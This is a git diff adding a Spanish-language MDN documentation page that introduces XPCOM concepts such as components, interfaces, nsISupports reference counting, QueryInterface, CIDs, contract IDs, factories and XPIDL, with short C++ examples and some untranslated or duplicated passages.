new file mode 100644
index 0000000000..49896dabc1
--- /dev/null
+++ b/files/es/creación_de_componentes_xpcom/un_vistazo_de_xpcom/index.html
@@ -0,0 +1,281 @@
+---
+title: Un vistazo de XPCOM
+slug: Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/An_Overview_of_XPCOM
+---
+<p>Este es un libro acerca de XPCOM. Esta escrito en forma de un tutorial acerca de la creación de componentes XPCOM, pero cubre la mayoría de los aspectos, conceptos y terminología del modelo de componentes XPCOM en el camino.</p>
+<p>Este capítulo empieza con un tour rápido de XPCOM - una introducción a los conceptos básicos y tecnologías en XPCOM y el desarrollo de componentes. Las secciones principales en este capítulo introducen los conceptos a un nivel muy superficial, así que podremos discutirlos y usarlos con más familiaridad en el tutorial que describe la creación del componente Mozilla llamado <strong>Weblock</strong>.</p>
+<h3 id="La_Solución_XPCOM">La Solución XPCOM</h3>
+<p>El Modelo Componente Objeto Multiplataforma (XPCOM) es una plataforma que permite a los desarrolladores romper proyectos de software monolíticos en piezas modulares más pequeñas. Estas piezas, conocidas como <em>componentes</em> son ensamblados juntos nuevamente en tiempo de ejecución.</p>
+<p>El objetivo de XPCOM es permitir a diferentes piezas de software ser desarrolladas y construidas independientes unas de otras. Para permitir interoperabilidad entre componentes dentro de una aplicación, XPCOM separa la <em>implementación</em> de un componente de la <em>interfaz</em>, lo cual discutimos en <a href="#Interfases">Interfases</a>. Pero XPCOM también provee muchas herramientas y bibliotecas que habilitan la carga y manipulación de estos componentes, servicios que ayudan al desarrollador a escribir código modular multiplataforma, y soporte para versiones, así que los componentes pueden ser reemplazados o actualizados sin tener que romper o volver a crear la aplicación. Usando XPCOM, los desarrolladores crean componentes que pueden ser reutilizados en diferentes aplicaciones o pueden ser reemplazados para cambiar la funcionalidad de aplicaciones existentes.</p>
+<p>XPCOM no solamente soporta el desarrollo de componetes de software, también provee gran parte de la funcionalidad de una plataforma de desarrollo, como:</p>
+<ul> <li>gestión de componentes</li> <li>abstracción de archivos</li> <li>paso de mensajes objeto</li> <li>manejo de memoria</li>
+</ul>
+<p>Discutiremos los puntos de arriba a detalle en los siguientes capítulos, pero por ahora, puede ser útil pensar en XPCOM como una <em>plataforma para desarrollo de componentes</em>, en la que la que se incluyen características como las listadas arriba.</p>
+<h3 id="Gecko">Gecko</h3>
+<p>Aunque en algunos aspectos es similar a Microsoft COM, XPCOM está diseñado para ser usado primordialmente a nivel de aplicación. El uso más importante de XPCOM es dentro de <em>Gecko</em>, un buscador web embebido de código abierto, que cumple con estándares y un conjunto de herramientas para crear buscadores web y otras aplicaciones.</p>
+<p>XPCOM se encarga de accesar la funcionalidad de las bibliotecas de <em>Gecko</em> y embeber o extender Gecko. Este libro se enfoca en lo último - extender Gecko - pero las ideas fundamentales en el libro también serán importantes para los desarrolladores que embeban Gecko.</p>
+<p>Gecko es usado en muchas aplicaciones de internet, la mayoría buscadores. La lista incluye dispositivos como el Gateway/AOL, el Instant AOL y la Nokia Media Terminal. Gecko también se usa en el último cliente Compuserve, AOL para Mac OS X, Netscape 7 y por supuesto el cliente de Mozilla. En este momento, Gecko es el web browser de código abierto predominante.</p>
+<h3 id="Componentes">Componentes</h3>
+<p>XPCOM te permite construir un sistema en el que grandes proyectos de software pueden ser fragmentados en piezas más pequeñas. Estas piezas, conocidas como componentes, son normalmente diseñadas en pequeñas y reutilizables bibliotecas binarias(una <abbr title="Dynamic Link Library">DLL</abbr> en Windows, por ejemplo, o una <abbr title="Distributed Shared Object">DSO</abbr> en Unix), que pueden incluir uno o más componentes. Cuando hay dos o más componentes relacionados juntos en una biblioteca binaria, llamamos a la biblioteca <em>módulo</em>.</p>
+<p>Fragmentar el software en distintos componentes puede ayudar a hacerlo menos difícil de desarrollar y mantener. Más allá de esto, la programación modular basada en componentes tiene ciertas ventajas bien conocidas:</p>
+<table class="standard-table"> <tbody> <tr> <td class="header">Beneficio</td> <td class="header">Descripción</td> </tr> <tr> <td>Reutlizable</td> <td>El código modular puede ser reutilizado en otras aplicaciones y en otros contextos.</td> </tr> <tr> <td>Actualizaciones</td> <td>Puedes actualizar componentes sin tener que recompilar toda la aplicación.</td> </tr> <tr> <td>Rendimiento</td> <td>Cuando el código es modular, los módulos que no serán usados en seguida pueden ser "cargados durmiendo", o no ser cargados del todo, lo que puede mejorar el rendimiento de tu aplicación.</td> </tr> <tr> <td>Mantenimiento</td> <td>Aún cuando no estés actualizando un componente, diseñar tu aplicación de forma modular puede hacerte más fácil encontrar e mantener las partes de la aplicación en que estás interesado.</td> </tr> </tbody>
+</table>
+<p>Mozilla tiene más de cuatro millones de líneas de código, y ningún individuo por sí solo entiende el código fuente entero. La mejor forma de afrontar un proyecto de este tamaño es dividirlo en piezas más pequeñas y manejables, usar un modelo de programación basado en componentes y organizar ciertos grupos de componentes en módulos. La biblioteca de red, por ejemplo, consiste en componentes para cada uno de los protocolos, HTTP, FTP y otros, los cuales son armados juntos y enlazados en una sola biblioteca. Esta biblioteca es el módulo de trabajo en red, conocida también como "necko".</p>
+<p>El componente <abbr title="Hypertext Transfer Protocol">HTTP</abbr> en Gecko no expone las clases privadas que usa como componentes separados. El "stuff"</p>
+<p>The <abbr title="Hypertext Transfer Protocol">HTTP</abbr> component in Gecko doesn't expose private classes it uses as separate components. The "stuff" that's internal to the component stays internal, and isn't exposed to XPCOM. In the haste of early Mozilla development, components were created where they were inappropriate, but there's been an ongoing effort to remove XPCOM from places like this.</p>
+<p>Pero no siempre es buena idea dividir las cosas. Hay algunas cosas en el mundo que sólo trabajan si están juntas y otras que deberían estar separadas. Por ejemplo, el hijo de un autor no se comerá un sandwich de crema de cacahuate si no tiene jamón, porque en este mundo, la crema de cachuate y el jamón forman una unión inseparable (guácala, en México como en muchos lugares no opinamos lo mismo creo que fue un mal ejemplo, pero en fin esto es parte de la traducción y espero se entienda la idea). Con el software es similar. En áreas de código que están estrechamente acopladas en clases que son usadas sólo internamente, por ejemplo, el duro trabajo de dividir las cosas tal vez no sea un esfuerzo vano.</p>
+<p>El componente <abbr title="Hypertext Transfer Protocol">HTTP</abbr> en Gecko no expone las clases privadas que usa como componentes separados. El "material" que es interno del componente permanece interno y no es visible para XPCOM. Por la prisa al inicio del desarrollo de Mozilla, fueron creados componentes donde era inadecuado, pero se ha estado haciendo un grán esfuerzo para quitar XPCOM de estos lugares.</p>
+<h3 id="Interfaces">Interfaces</h3>
+<p>Generalmente es buena idea dividir el software en componentes, pero ¿Cómo hacer esto exactamente? La idea básica es identificar piezas de funcionalidad que esten relacionadas entre sí y entender cómo se comunican entre ellas. Cuando son definidos los canales de comunicación entre los distintos delimitadores de forma que se encuentran entre componentes y dichos delimitadores son formalizados se llaman <em>interfaces</em>.</p>
+<p>Las interfaces no son una idea nueva en programación. Todos hemos usado interfaces desde nuestro primer programa "Hola Mundo", donde la interface estaba entre el código que escribimos-el código de la aplicación-y el código de impresión. El código de aplicación usó una interfaz de una biblioteca, <code>stdio</code> para pintar la cadena "Hola Mundo" en la pantalla. La diferencia aquí es que una aplicación "Hola Mundo" en XPCOM encuentra esta pantalla pintando funcionalidad en tiempo de ejecución y nunca tiene que saber acerca de <code>stdio</code> cuando es compilado.</p>
+<p>Las interfaces permiten a los desarrolladores <em>encapsular</em> la implementación y la lógica interna de su programa y permitir a los clientes ignorar cómo se hacen las cosas y sólo usar el software.</p>
+<div class="side-note">
+<p><span id="Interfaces_y_programaci%C3%B3n_por_contrato"><a id="Interfaces_y_programaci%C3%B3n_por_contrato"></a><strong>Interfaces y programación por contrato</strong></span></p>
+<p>Una interfaz forma un acuerdo contractual entre componentes y clientes. No hay código que obligue estos acuerdos, pero ignorarlos puede ser fatal. En la programación basada en componentes, un componente garantiza que las interfaces que provee serán <em>inmutables</em>, es decir, proveerán el mismo acceso a los mismos métodos en diferentes versiones del componente, estableciendo un contrato con los clientes que usan el software. A este respecto, la programación basada en interfaces también es llamada <em>programación por contrato</em>.</p>
+</div>
+<h4 id="Interfaces_y_Encapsulación">Interfaces y Encapsulación</h4>
+<p>Entre delimitadores de componentes, la abstracción es crucial para el mantenimiento y la reutilización del software. Considera, por ejemplo, una clase que <em>no está</em> bien encapsulada; usar un método público de inicialización disponible libremente, como sugiere el ejemplo de abajo puede causar problemas.</p>
+<p><span id="Inicializacion_de_AlgunaClase"><a id="Inicializacion_de_AlgunaClase"></a><strong>Inicializacion de AlgunaClase</strong></span></p>
+<pre>class AlgunaClase
+{
+  public:
+    // Constructor
+    AlgunaClase();
+
+    // Virtual Destructor
+    virtual ~AlgunaClase();
+
+    // init method
+    void Init();
+
+    void HazAlgoUtil();
+};
+</pre>
+<p>Para que este sistema funcione correctamente, el programador del cliente debe prestar mucha atención a todas las reglas que el programador del componente estableció. Este es el acuerdo contractual de esta clase clase no encapsulada: un conjunto de reglas que definen cuando cada método puede ser llamado y cuando se espera que se haga. Una regla puede especificar que <code>HazAlgoUtil</code> puede ser llamado sólo después de una llamada a <code>Init()</code>. El método <code>HazAlgoUtil</code> puede hacer algún tipo de validación para asegurar que la condición de que <code>Init()</code> ha sido llamado, ha sido cumplida.</p>
+<p>Además de escribir código bien comentado que le diga al desarrollador del cliente las reglas acerca de <code>Init()</code>, el desarrollador puede seguir un par de pasos para hacer este contrato más claro. Primero, la construcción de un objeto puede ser encapsulada y proveer una <em>clase virtual</em> que defina el método <code>HazAlgoUtil</code>. De esta forma, construcción e inicialización pueden ser completamente ocultos de los clientes de la clase. En esta situación "semiencapsulada", la única parte de la clase que se ve esuna bien definida lista de métodos llamables (la interfaz). Una vez que la clase es encapsulada, la única interfaz que verá el cliente es esta:</p>
+<p><span id="Encapsulaci%C3%B3n_de_AlgunaInterfaz"><a id="Encapsulaci%C3%B3n_de_AlgunaInterfaz"></a><strong>Encapsulación de AlgunaInterfaz</strong></span></p>
+<pre>class AlgunaInterfaz
+{
+  public:
+    virtual void HazAlgoUtil() = 0;
+};
+</pre>
+<p>La implementación puede entonces derivar de esta clase e implementar el método virtual. Los clientes de este código pueden usar después un patrón de diseño factoría para crear el objeto (ve <a href="#Factorías">Factorías</a>) y después encapsular la implementación. En XPCOM, los clientes se escudan de la lógica interna de los componentes de esta forma y confiar en la interfaz para proveer acceso a la funcionalidad requerida.</p>
+<h4 id="La_Interfaz_Base_nsISupports">La Interfaz Base <code>nsISupports</code></h4>
+<p>Dos aspectos fundamentales en la programación basada en componentes e interfaces son: la <em>Vida del componente</em>, también llamada <em>posesión del objeto</em> y las <em>llamadas de interfaz</em>, o poder identificar que interfaces soporta un componente al momento de ejecución. Esta sección introduce la interfaz base, que es la madre de todas las interfaces en XPCOM, <code>nsISupports</code>, la cual proporciona soluciones a estos dos aspectos para los desarrolladores de XPCOM.</p>
+<h5 id="Posesión_de_Objetos">Posesión de Objetos</h5>
+<p>Como los componentes en XPCOM pueden implementar cualquier número de interfaces, dichas interfaces deben ser "contadas por referencia". Los componentes deben tener control de cuántas referencias a él tienen activas los clientes y borrarse ellos mismos cuando ese número llega a cero.</p>
+<p>Cuando un componente se crea, un entero dentro del componente almacena esta <em>cuenta de referencias</em>. La cuenta de referencias se incrementa automáticamente cuando el cliente hace una instancia del componente; durante el transcurso de vida del componente. En algún punto, todos los clientes pierden interés en el componente, en ese momento la cuenta llega a cero y el componente se borra a sí mismo.</p>
+<p>Cuando los clientes usan interfaces responsablemente, esto puede ser un proceso muy serio. XPCOM tiene herramientas para hacer esto más sencillo, como describiremos después. Podemos tener serios problemas cuando por ejemplo, un cliente usa una interfaz y olvida decrementar la cuenta de referencia. Cuando esto pasa, las interfaces tal vez nunca puedan ser liberadas y se desbordará la memoria. El sistema de cuenta de referencias es, como muchas otras cosas en XPCOM, un contrato entre clientes e implementaciones. Trabaja cuando la gente se pone de acuerdo con él, pero si no, las cosas pueden ir mal. Es responsabilidad de la funcion que crea el puntero a la interfaz añadir la referencia inicial o <em>posesión de referencia</em> a la cuenta.</p>
+<div class="side-note">
+<p><span id="Punteros_en_XPCOM"><a id="Punteros_en_XPCOM"></a><strong>Punteros en XPCOM</strong></span></p>
+<p>En XPCOM, "punteros" se refiere a los punteros de interfaz. La diferencia es muy sutil ya que los punteros de interfaz y los punteros comunes son sólo direcciones en memoria. Pero un puntero de interfaz debe poder implementar la interfaz base nsISupports, que también puede ser usada para llamar métodos como <code>AddRef</code>, <code>Release</code>, o <code>QueryInterface</code>.</p>
+</div>
+<p><code>nsISupports</code>, mostrado abajo, proporciona la funcionalidad básica para lidiar con el descubrimiento de la interfaz y la cuenta de referencias. Los miembros de esta interfaz, <code>QueryInterface</code>, <code>AddRef</code>, and <code>Release</code>, proporcionan los medios básicos para conseguir el interfaz correcto de un objeto, incrementando la cuenta de referencias y liberando objetos una vez que dejan de ser usados respectivamente. La interfaz <code>nsISupports</code> se muestra a continuación:</p>
+<p><span id="La_Interfaz_%3Ccode%3EnsISupports%3C/code%3E"><a id="La_Interfaz_%3Ccode%3EnsISupports%3C/code%3E"></a><strong>La Interfaz <code>nsISupports</code></strong></span></p>
+<pre>class Sample: public nsISupports
+{
+  private:
+    nsrefcnt mRefCnt;
+  public:
+    Sample();
+    virtual ~Sample();
+
+    NS_IMETHOD QueryInterface(const nsIID &amp;aIID, void **aResult);
+    NS_IMETHOD_(nsrefcnt) AddRef(void);
+    NS_IMETHOD_(nsrefcnt) Release(void);
+};
+</pre>
+<p>Los distintos tipos usados en la interfaz son descritos en la sección <a href="#Tipos_XPCOM">Tipos XPCOM</a> más adelante. Una implementación completa de la interfaz <code>nsISupports</code> se muestra abajo. Vea <a class="external" href="http://www.mozilla.org/projects/xpcom/QI.html">A Reference Implementation of QueryInterface</a> para información más detallada.</p>
+<p><span id="Implementaci%C3%B3n_de_la_interfaz_%3Ccode%3EnsISupports%3C/code%3E"><a id="Implementaci%C3%B3n_de_la_interfaz_%3Ccode%3EnsISupports%3C/code%3E"></a><strong>Implementación de la interfaz <code>nsISupports</code></strong></span></p>
+<pre>// inicializa la cuenta de referencias a 0
+Sample::Sample() : mRefCnt(0)
+{
+}
+Sample::~Sample()
+{
+}
+
+// típica implementación genérica de QI
+NS_IMETHODIMP Sample::QueryInterface(const nsIID &amp;aIID,
+                                  void **aResult)
+{
+  if (!aResult) {
+    return NS_ERROR_NULL_POINTER;
+  }
+  *aResult = NULL;
+  if (aIID.Equals(kISupportsIID)) {
+    *aResult = (void *) this;
+  }
+  if (!*aResult) {
+    return NS_ERROR_NO_INTERFACE;
+  }
+  // añade una referencia
+  AddRef();
+  return NS_OK;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::AddRef()
+{
+  return ++mRefCnt;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::Release()
+{
+  if (--mRefCnt == 0) {
+    delete this;
+    return 0;
+  }
+  // opcional: regresa la cuenta de referencias
+  return mRefCnt;
+}
+</pre>
+<h5 id="Descubrimiento_de_Objetos_de_Interfaz">Descubrimiento de Objetos de Interfaz</h5>
+<p><em>Herencia</em> es otro tópico muy importante en la programación orientada a objetos. Herencia es el medio por el que una clase es derivada de otra. Cuando una clase hereda de otra clase, le clase hija puede <em>sobreescribir</em> los comportamientos originales de la clase base sin tener que copiar todo el código de esa clase, en efecto creando una clase más específica, como en el ejemplo siguiente:</p>
+<p><br>
+<span id="Herencia_de_la_Clase_Simple"><a id="Herencia_de_la_Clase_Simple"></a><strong>Herencia de la Clase Simple</strong></span></p>
+<pre>class Figura
+{
+  private:
+    int m_x;
+    int m_y;
+
+  public:
+    virtual void Pintar() = 0;
+    Shape();
+    virtual ~Shape();
+};
+
+class Circulo : public Figura
+{
+  private:
+    int m_radio;
+  public:
+    virtual Pintar();
+    Circulo(int x, int y, int radio);
+    virtual ~Circulo();
+};
+</pre>
+<p><code>Circulo</code> es una clase derivada de <code>Figura</code>. En otras palabras un <code>Circulo</code> es una <code>Figura</code>, pero una <code>Figura</code> no es necesariamente un <code>Circulo</code>. En este caso, <code>Figura</code> es la <em>clase base</em> y <code>Circulo</code> es una <em>subclase</em> de <code>Figura</code>.</p>
+<p>En XPCOM, todas las clases derivan de la interfaz <code>nsISupports</code>, así que todos los objetos son <code>nsISupports</code> pero también son otras clases más específicas que necesitas para poder encontrarlas en tiempo de ejecución. En <a href="#Herencia_de_la_Clase_Simple">Herencia de la Clase Simple</a>, por ejemplo, ¿te gustaría poder preguntarle a la <code>Figura</code> si es un <code>Circulo</code> y poder usarlo como circulo si lo es? En XPCOM, esto es para lo que está la caracteríztica <code>QueryInterface</code> de la interfaz <code>nsISupports</code>: permite a los clientes encontrar y accesar diferentes interfaces de acuerdo a sus necesidades.</p>
+<p>En C++, puedes usar un aspecto verdaderamente avanzado conocido como <code>refernecia_dinámica&lt;&gt;</code>, que da una excepción si el objeto <code>Figura</code> no puede hacer referencia a <code>Circulo</code>. Pero habilitar las excepciones y <abbr title="Runtime Type Information">RTTI</abbr> puede no ser una opción por la mejora del rendimiento y la compatibilidad en varias plataformas, así que XPCOM hace las cosas diferente.</p>
+<div class="side-note">
+<p><span id="Excepciones_en_XPCOM"><a id="Excepciones_en_XPCOM"></a><strong>Excepciones en XPCOM</strong></span></p>
+<p>Las excepciones de C++ no son soportadas directamente en XPCOM. Todas las excepciones deben ser gestionadas dentro de un componente dado, antes de cruzar los límites de las interfaces. En XPCOM, todos métodos de interfaz deben regresar un valor de error <code>nsresult</code> (Vea la <a href="/es/Referencia_del_API_de_XPCOM" title="es/Referencia_del_API_de_XPCOM">Referencia del API de XPCOM</a> para ver la lista de códigos de error). Esos resultados de códigos de error se vuelven "excepciones" que gestiona XPCOM.</p>
+</div>
+<p>En vez de utilizar el RTTI de C++, XPCOM usa el método especial <code>QueryInterface</code> que referencía el objeto a la interfaz correcta si esa interfaz es soportada.</p>
+<p>A cada interfaz se le asigna un identificador que se genera de una herramienta comunmente llamada "uuidgen". Este identificador universal único es un número único de 128 bits. Usado en el contexto de una interfaz (similar a un componente, donde el contract ID(ID de contrato) hace esta función), a este número se le conoce como <em>IID</em>.</p>
+<p>Cuando un cliente quiere saber si un objeto soporta una interfaz dada, el cliente pasa el IID asignado a esa interfaz al método <code>QueryInterface</code> de ese objeto. Si el objeto soporta la interfaz requerida, añade una referencia a sí mismo y regresa un puntero a esa interfaz. Si el objeto no soporta la interfaz, regresa un error.</p>
+<pre>class nsISupports {
+  public:
+    long QueryInterface(const nsIID &amp; uuid,
+                        void **result) = 0;
+    long AddRef(void) = 0;
+    long Release(void) = 0;
+};
+</pre>
+<p>El primer parámetro de <code>QueryInterface</code> es una referencia a la clase llamada <code>nsIID</code>, que es una encapsulación básica del IID. De los tres métodos en la clase <code>nsIID</code>, <code>Equals</code>, <code>Parse</code>, and <code>ToString</code>, <code>Equals</code> es por mucho el más importante, porque se usa para comparar dos <code>nsIID</code>s en el proceso de requerimiento de esta interfaz.</p>
+<p>Cuando implementas la clase <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code> (y verás en el capítulo <a href="/es/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Utilidades_XPCOM_para_hacer_las_cosas_m%C3%A1s_f%C3%A1ciles" title="es/Creación_de_Componentes_XPCOM/Uso_de_Utilidades_XPCOM_para_hacer_las_cosas_más_fáciles">Uso de Utilidades XPCOM para hacer las cosas más fáciles</a> como las macros pueden hacer este proceso mucho más sencillo), debes asegurarte que los métodos de la clase regresan un resultado válido cuando el cliente llama <code>QueryInterface</code> con el IID de <code>nsISupports</code>. <code>QueryInterface</code> debe soportar todas las interfaces que el componente soporta.</p>
+<p>En las implementaciones de <code>QueryInterface</code>, el parámetro IID es comparado con el <code>nsIID</code> de la clase. Si coinciden, el puntero <code>this</code> del objeto es referenciado a <code>void</code>, la cuenta de referencias se incrementa y la interfaz es devuelta al llamador. Si no coinciden, la clase regeresa un error y pone el valor de salida a <code>null</code>.</p>
+<p>En el ejemplo de arriba, es muy fácil usar referencias al estilo de C. Pero referenciar puede volverse más complicado donde debes primero referenciar a <code>void</code> y luego al tipo requerido porque debes regresar el puntero a la interfaz en el <abbr title="virtual table">vtable</abbr> correspondiente a la interfaz requerida. Referenciar puede volverse un problema cuando hay un orden ambiguo de herencia.</p>
+<h3 id="Identificadores_XPCOM">Identificadores XPCOM</h3>
+<p>Además del identificador de interfaz IID discutido en la sección anterior, XPCOM usa otros dos identificadores muy importantes para distinguir las clases y los componentes.</p>
+<div class="side-note">
+<p><span id="Clases_Identificadoras_de_XPCOM"><a id="Clases_Identificadoras_de_XPCOM"></a><strong>Clases Identificadoras de XPCOM</strong></span></p>
+<p>La clase <code>nsIID</code> es es un tupo definido para la clase <code>nsID</code>. Los otros tipos definidos de <code>nsID</code>, CID e IID, se refieren a implementaciones específicas de una clase en concreto y a una iterfaz específica, respectivamente.</p>
+<p>La clase <code>nsID</code> proporciona métodos como <code>Equals</code> para comparar identificadores en el código. Ve <a href="/es/Creaci%C3%B3n_de_Componentes_XPCOM/Creaci%C3%B3n_del_C%C3%B3digo_del_Componente#Identificadores_en_XPCOM" title="es/Creación_de_Componentes_XPCOM/Creación_del_Código_del_Componente#Identificadores_en_XPCOM">Identificadores en XPCOM</a> para mayor información de la clase <code>nsID</code>.</p>
+</div>
+<h4 id="CID">CID</h4>
+<p>Un CID es un número de 128 bits que identifica como únicos a una clase o un componente de manera muy parecida a la forma en que un IID identifica una interfaz. El CID para <code>nsISupports</code> se ve como este:</p>
+<p><code>00000000-0000-0000-c000-000000000046</code></p>
+<p>El largo de un CID puede hacer incómodo manejarlo en el código, así que muy a menudo verás #defines para los CIDs y otros identificadores usados, como en el siguiente ejemplo:</p>
+<pre>#define CID_EJEMPLO \
+{ 0x777f7150, 0x4a2b, 0x4301, \
+{ 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}}
+</pre>
+<p>También verás que <code>NS_DEFINE_CID</code> es muy usado. Esta simple macro declara una constante con el valor del CID:</p>
+<pre>static NS_DEFINE_CID(kWebShellCID, NS_WEB_SHELL_CID);
+</pre>
+<p>Un CID es algunas veces llamado <em>identificador de clase</em>. Si la clase a la que se refiere un CID implementa más de una interfaz, ese CID garantiza que la clase implementa todo ese conjunto de interfaces cuando se publica como congelado.</p>
+<h4 id="Contract_ID">Contract ID</h4>
+<p>Un contract ID es una cadena leible humanamente usada para accesar un componente. Un CID o un contract ID puede ser usado para obtener un componente desde el gestor de componentes. Este es el contract ID para el componente de Operación LDAP:</p>
+<pre>"@mozilla.org/network/ldap-operation;1"
+</pre>
+<p>El formato del contract ID es el <em>dominio</em> del componente, el <em>módulo</em>, el <em>nombre del componente</em> y el <em>número de versión</em> separados por diagonales.</p>
+<p>Como un CID, el contract ID se refiere a una implementación más que a una interfaz, como lo hace un IID. Pero un contract ID no está relacionado a ninguna implementación en específico, como el CID, por lo cual es más general. Más bien, un contract ID especifica un conjunto de interfaces dadas que requiere implementadas y cualquier número de CIDs diferentes pueden estar presentes y llenar ese requerimiento. Esta diferencia entre un contract ID y un CID es lo que hace posible sobreescribir componentes.</p>
+<h3 id="Factorías">Factorías</h3>
+<p>Una vez que el código es dividido en componentes, el código cliente típicamente usa el operador <code>new</code> para instanciar los objetos a usar:</p>
+<pre>SomeClass* component = new SomeClass();
+</pre>
+<p>Este patrón requiere que el cliente sepa algo acerca del componente, al menos qué tan grande es. El <em>patrón de diseño factoría</em> puede usarse para encapsular la construcción de objetos. El objetivo principal de una factoría es crear un objeto sin mostrar a los clientes la implementación e inicialización de este objeto. En el ejemplo <code>SomeClass</code> la construcción e inicialización de <code>SomeClass</code> que implementa la clase abstracta <code>SomeInterface</code>, es contenida dentro de la función <code>New_SomeInterface</code> que sigue el patrón de diseño factoría:</p>
+<p><span id="Encapsulaci%C3%B3n_del_Constructor"><a id="Encapsulaci%C3%B3n_del_Constructor"></a><strong>Encapsulación del Constructor</strong></span></p>
+<pre>int New_SomeInterface(SomeInterface** ret)
+{
+  // crea el objeto
+  SomeClass* out = new SomeClass();
+  if (!out) return -1;
+
+  // inicializa el objeto
+  if (out-&gt;Init() == FALSE)
+  {
+    delete out;
+    return -1;
+  }
+
+  // referencia de la interfaz
+  *ret = static_cast&lt;SomeInterface*&gt;(out);
+  return 0;
+}
+</pre>
+<p>La factoría es la clase que gestiona la creación de instancias separadas de un componente para su uso. En XPCOM, las factorías son implementaciones de la interfaz <code>nsIFactory</code> y usan un patrón de diseño factoría como el ejemplo de arriba para abstraer y encapsular la construcción e inicialización del objeto.</p>
+<p>El ejemplo en <a href="#Encapsulación_del_Constructor">Encapsulación del Constructor</a> es una versión simple sin estado de las factorías, pero programarlo en el mundo real usualmente no es tan simple y en general las factorías necesitan guardar un estado. La factoría necesita, por lo menos preservar información de qué objetos ha creado. Cuando una factoría gestiona instancias de una clase contenida en un biblioteca dinámica compartida, por ejemplo, necesita saber cuando puede descargar la biblioteca. Cuando la factoría preserva un estado, puedes preguntarle si hay referencias esperando y saber si la factoría creó objetos.</p>
+<p>Otro estado que puede guardar una factoría es si un objeto es o no <em>singleton</em>. Por ejemplo, si una factoría crea un objeto que se supone debe ser singleton, entonces las llamadas subsecuentes a la factoría por el objeto deben regresar el mismo objeto. Aunque que hay herramientas y mejores formas de gestionar un singleton (lo que discutiremos cuando hablemos del <code>nsIServiceManager</code>), un desarrollador tal vez quiera usar esta información para asegurarse de que sólo puede existir un objeto singleton sin importar lo que hagan los clientes.</p>
+<p>Los requerimientos de una clase factoría pueden gestionarse de una manera estrictamente funcional con el estado guardado en variables globales, pero hay beneficios de usar clases para las factorías. Cuando usas una clase para implementar la funcionalidad de una factoría, por ejemplo, derivas de la interfaz <code>nsISupports</code>, que te permite manejar el tiempo de vida de los objetos de la factoría por sí mismos. Esto es importante cuando quieres agrupar conjuntos de factorías y determinar si pueden ser descargados. Otro beneficio de usar la interfaz <code>nsISupports</code> es que puedes soportar otras interfaces al momento en que sean introducidas. Como mostraremos al discutir <code>nsIClassInfo</code>, algunas factorías permiten pedir información acerca de la implementación que tienen debajo, como el lenguaje en el está escrito el objeto, las interfaces que soporta, etc. Este tipo de "comprobación futura" es una ventaja clave que se obtiene al derivar de <code>nsISupports</code>.</p>
+<h4 id="XPIDL_y_Bibliotecas_de_Tipos">XPIDL y Bibliotecas de Tipos</h4>
+<p>Una manera fácil y potente de definir una interfaz es - en efecto, un requerimiento para definir interfaces en un ambiente multiplataforma, independiente del lenguaje- es usar un <em>lenguaje de definición de interfaces</em> (IDL). XPCOM usa su propia variante del Lenguaje de Definición de Interfaces (IDL) de CORBA OMG llamado XPIDL, que te permite especificar métodos, atributos y contantes de una interfaz dada y también definir herencia de interfaz.</p>
+<p>Hay algunas desventajas de definir tu interfaz usando XPIDL. No hay soporte para herencia múltiple de una sola cosa; si defines una interfaz nueva, no puede derivar de más de una interfaz; otra limitante de las intertfaces en XPIDL es que los nombres de los métodos deben ser únicos, no puedes tener dos métodos con el mismo nombre aunque tomen distintos parámetros, es decir no se permite la sobrecarga de funciones, y el trabajo que implica tener múltiples nombres de funciones no es agradable:</p>
+<pre>void AlgoConInt(in int x);
+void AlgoConString(in string x);
+void AlgoConURI(in nsIURI x);
+</pre>
+<p>De cualquier modo, estos pequeños inconvenientes palidecen en comparación con la funcionalidad ganada usando XPIDL. XPIDL te permite generar <em>bibliotecas de tipos</em>, o typelibs, que son archivos con la extensión <em>.xpt</em>. La biblioteca de tipo es una representación binaria de una interfaz o interfaces, permite el control programático y acceso de la interfaz, lo que es crucial para las interfaces que no son usadas en el mundo de C++. Cuando los componentes son accesados desde otros lenguajes,como puede hacerse en XPCOM, usan la biblioteca binaria de tipo para accesar a la interfaz, ver qué métodos soporta y llamar esos métodos. Este aspecto de XPCOM se llama <em>XPConnect</em>. XPConnect es la capa de XPCOm que permite el acceso a los componentes de XPCOM desde lenguajes como JavaScript. Ve <a href="/es/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Conexi.C3.B3n_a_Componentes_desde_la_Interfaz" title="es/Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Conexi.C3.B3n_a_Componentes_desde_la_Interfaz">Conexión a Componentes desde la Interfaz</a> para más información de XPConnect.</p>
+<p>Cuando un componente es accesible desde un lenguaje distinto a C++, como JavaScript, se le ordena a su interfaz "reflejarse" en ese lenguaje. Cada interfaz reflejada debe tener una biblioteca de tipos correspondiente. Actualmente puedes escribir componentes en C, C++, Javascript (y algunas veces Python o Java, dependiendo del estado de las etiquetas respectivas) y hay esfuerzos tratando de construir etiquetas XPCOm para Ruby y Perl también.</p>
+<div class="side-note">
+<p><span id="Escribir_Componentes_en_Otros_Lenguajes"><a id="Escribir_Componentes_en_Otros_Lenguajes"></a><strong>Escribir Componentes en Otros Lenguajes</strong></span></p>
+<p>Tal vez no tengas acceso a algunas de las herramientas que XPCOM da para los desarrolladores en C++ (como macros, plantillas, punteros inteligentes y otros) cuando creas componentes en otros lenguajes, tal vez te tengas que conformar con el lenguaje en sí mismo prescindir de C++ y construir, por ejemplo, un componente XPCOm basado en Python que pueden ser usados desde JavaScript o vice versa.</p>
+<p>Ve <a href="/es/Creaci%C3%B3n_de_Componentes_XPCOM/Resources" title="es/Creación_de_Componentes_XPCOM/Resources">Resources</a> Para más información de Python y otros lenguajes para los que se ha añadido soporte en XPCOM.</p>
+</div>
